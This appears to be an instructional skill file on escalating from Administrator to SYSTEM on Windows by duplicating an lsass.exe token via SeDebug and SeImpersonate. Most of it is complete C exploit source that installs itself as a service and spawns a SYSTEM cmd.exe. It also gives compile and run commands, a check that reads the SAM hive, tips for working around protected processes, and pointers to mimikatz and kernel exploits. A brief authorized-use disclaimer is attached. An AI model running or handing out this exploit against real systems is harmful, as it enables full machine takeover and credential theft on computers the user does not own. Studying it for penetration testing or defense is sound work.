Windows Token Escalation: SeDebug + SeImpersonate

This skill helps you escalate privileges from Administrator to SYSTEM on Windows by exploiting the SeDebug and SeImpersonate privileges to copy tokens from high-privilege processes.

When to Use This Technique

Use this approach when:

• You have Administrator access but need SYSTEM privileges
• The target system has SeDebug and SeImpersonate privileges enabled
• You're conducting authorized penetration testing or security assessments
• You need to access protected resources requiring SYSTEM access

How It Works

The exploit leverages two critical Windows privileges:

1. SeDebugPrivilege - Allows debugging and manipulating processes
2. SeImpersonatePrivilege - Allows impersonating other users/processes

The technique:

1. Find a process running as SYSTEM (like

   lsass.exe

   )
2. Open that process with

   PROCESS_QUERY_INFORMATION

3. Extract its primary token using

   OpenProcessToken

4. Duplicate the token with

   DuplicateTokenEx

5. Spawn a new process (like

   cmd.exe

   ) using the duplicated token

Target Processes

Common SYSTEM processes you can target:

• lsass.exe

  - Local Security Authority Subsystem Service (most common)

• services.exe

  - Service Control Manager

• svchost.exe

  - Service Host (one of the first instances)

• wininit.exe

  - Windows Initialization

• csrss.exe

  - Client/Server Runtime Subsystem

Important: You cannot copy tokens from Protected processes (like those with PatchGuard protection).

The Exploit Code

// Token Escalation Exploit - SeDebug + SeImpersonate
// Compile as a Windows service binary for testing
// WARNING: Only use in authorized environments

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("TokenDanceSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;

// Find the PID of a process by name
int FindTarget(const char *procname) {
    HANDLE hProcSnap;
    PROCESSENTRY32 pe32;
    int pid = 0;

    hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcSnap, &pe32)) {
        CloseHandle(hProcSnap);
        return 0;
    }

    while (Process32Next(hProcSnap, &pe32)) {
        if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
    }

    CloseHandle(hProcSnap);
    return pid;
}

// Main exploit function - this is where elevation occurs
int Exploit(void) {
    HANDLE hSystemToken, hSystemProcess;
    HANDLE dupSystemToken = NULL;
    HANDLE hProcess, hThread;
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    int pid = 0;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // Step 1: Open high privileged process (lsass.exe)
    if (pid = FindTarget("lsass.exe"))
        hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    else
        return -1;

    // Step 2: Extract high privileged token
    if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
        CloseHandle(hSystemProcess);
        return -1;
    }

    // Step 3: Make a copy of the token
    DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, 
                     SecurityImpersonation, TokenPrimary, &dupSystemToken);

    // Step 4: Spawn a new process with higher privileges
    CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
                        NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    CloseHandle(hSystemProcess);
    CloseHandle(hSystemToken);
    CloseHandle(dupSystemToken);
    
    return 0;
}

// Service control handler
void WINAPI ServiceControlHandler(DWORD controlCode) {
    switch (controlCode) {
        case SERVICE_CONTROL_SHUTDOWN:
        case SERVICE_CONTROL_STOP:
            serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
            SetServiceStatus(serviceStatusHandle, &serviceStatus);
            SetEvent(stopServiceEvent);
            return;
        case SERVICE_CONTROL_PAUSE:
        case SERVICE_CONTROL_CONTINUE:
        case SERVICE_CONTROL_INTERROGATE:
            break;
        default:
            break;
    }
    SetServiceStatus(serviceStatusHandle, &serviceStatus);
}

// Service main function
void WINAPI ServiceMain(DWORD argc, TCHAR* argv[]) {
    // Initialize service status
    serviceStatus.dwServiceType = SERVICE_WIN32;
    serviceStatus.dwCurrentState = SERVICE_STOPPED;
    serviceStatus.dwControlsAccepted = 0;
    serviceStatus.dwWin32ExitCode = NO_ERROR;
    serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
    serviceStatus.dwCheckPoint = 0;
    serviceStatus.dwWaitHint = 0;

    serviceStatusHandle = RegisterServiceCtrlHandler(serviceName, ServiceControlHandler);

    if (serviceStatusHandle) {
        // Service is starting
        serviceStatus.dwCurrentState = SERVICE_START_PENDING;
        SetServiceStatus(serviceStatusHandle, &serviceStatus);

        stopServiceEvent = CreateEvent(0, FALSE, FALSE, 0);

        // Running
        serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
        serviceStatus.dwCurrentState = SERVICE_RUNNING;
        SetServiceStatus(serviceStatusHandle, &serviceStatus);

        // Execute the exploit
        Exploit();
        WaitForSingleObject(stopServiceEvent, -1);

        // Service was stopped
        serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
        SetServiceStatus(serviceStatusHandle, &serviceStatus);

        CloseHandle(stopServiceEvent);
        stopServiceEvent = 0;

        // Service is now stopped
        serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
        serviceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(serviceStatusHandle, &serviceStatus);
    }
}

// Install the service
void InstallService() {
    SC_HANDLE serviceControlManager = OpenSCManager(0, 0, SC_MANAGER_CREATE_SERVICE);

    if (serviceControlManager) {
        TCHAR path[_MAX_PATH + 1];
        if (GetModuleFileName(0, path, sizeof(path)/sizeof(path[0])) > 0) {
            SC_HANDLE service = CreateService(serviceControlManager,
                            serviceName, serviceName,
                            SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
                            SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
                            0, 0, 0, 0, 0);
            if (service)
                CloseServiceHandle(service);
        }
        CloseServiceHandle(serviceControlManager);
    }
}

// Uninstall the service
void UninstallService() {
    SC_HANDLE serviceControlManager = OpenSCManager(0, 0, SC_MANAGER_CONNECT);

    if (serviceControlManager) {
        SC_HANDLE service = OpenService(serviceControlManager,
            serviceName, SERVICE_QUERY_STATUS | DELETE);
        if (service) {
            SERVICE_STATUS serviceStatus;
            if (QueryServiceStatus(service, &serviceStatus)) {
                if (serviceStatus.dwCurrentState == SERVICE_STOPPED)
                    DeleteService(service);
            }
            CloseServiceHandle(service);
        }
        CloseServiceHandle(serviceControlManager);
    }
}

int _tmain(int argc, TCHAR* argv[]) {
    if (argc > 1 && lstrcmpi(argv[1], TEXT("install")) == 0) {
        InstallService();
    }
    else if (argc > 1 && lstrcmpi(argv[1], TEXT("uninstall")) == 0) {
        UninstallService();
    }
    else {
        SERVICE_TABLE_ENTRY serviceTable[] = {
            { serviceName, ServiceMain },
            { 0, 0 }
        };

        StartServiceCtrlDispatcher(serviceTable);
    }

    return 0;
}

Compilation and Usage

Compile the Exploit

# Using Visual Studio Developer Command Prompt
cl /EHsc token_exploit.c advapi32.lib

# Or using MinGW
x86_64-w64-mingw32-gcc -o token_exploit.exe token_exploit.c -ladvapi32

Install and Run as Service

# Install the service (run as Administrator)
token_exploit.exe install

# Start the service
net start TokenDanceSrv

# Check if cmd.exe spawned with SYSTEM privileges
# Look for a new cmd.exe process running as SYSTEM

# Uninstall when done
token_exploit.exe uninstall

Verification

To verify the exploit worked:

1. Check for new cmd.exe process - A new command prompt should appear

2. Verify SYSTEM access - In the spawned cmd, run:

   whoami
   

   Should return

   nt authority\system

3. Access protected resources - Try accessing:

   dir C:\Windows\System32\config\SAM
   

Tools for Analysis

Process Hacker

Use Process Hacker to:

• View process tokens and privileges
• Identify which processes are running as SYSTEM
• Check which processes are Protected (cannot be token-copied)

PowerShell Commands

# Check current privileges
whoami /priv

# List SYSTEM processes
Get-Process | Where-Object {$_.Owner -eq "NT AUTHORITY\SYSTEM"}

# Check if SeDebug and SeImpersonate are enabled
whoami /priv | Select-String "SeDebugPrivilege,SeImpersonatePrivilege"

Safety and Legal Considerations

⚠️ IMPORTANT:

• Only use this technique on systems you own or have explicit authorization to test
• This is for educational and authorized penetration testing purposes only
• Unauthorized privilege escalation is illegal and unethical
• Document all testing activities and get proper authorization

Troubleshooting

Common Issues

1. "Access Denied" when opening process

   • Ensure you're running as Administrator
   • Check if the target process is Protected

2. lsass.exe not found or protected

   • Try alternative targets:

     services.exe

     ,

     svchost.exe

     ,

     wininit.exe

   • On newer Windows versions, lsass may be protected by LSA Protection

3. Service won't start

   • Check Windows Event Viewer for errors
   • Ensure the binary path is correct
   • Verify the service account has necessary permissions

4. Token duplication fails

   • Verify SeDebug and SeImpersonate privileges are enabled
   • Check if the process has the necessary access rights

Alternative Approaches

If this technique doesn't work:

• Try other privilege escalation methods (misconfigured services, unquoted service paths, etc.)
• Use existing tools like

  mimikatz

  for token manipulation
• Consider kernel-level exploits if available and appropriate

References

• HackTricks Windows Privilege Escalation
• Microsoft: DuplicateTokenEx
• Microsoft: CreateProcessAsUser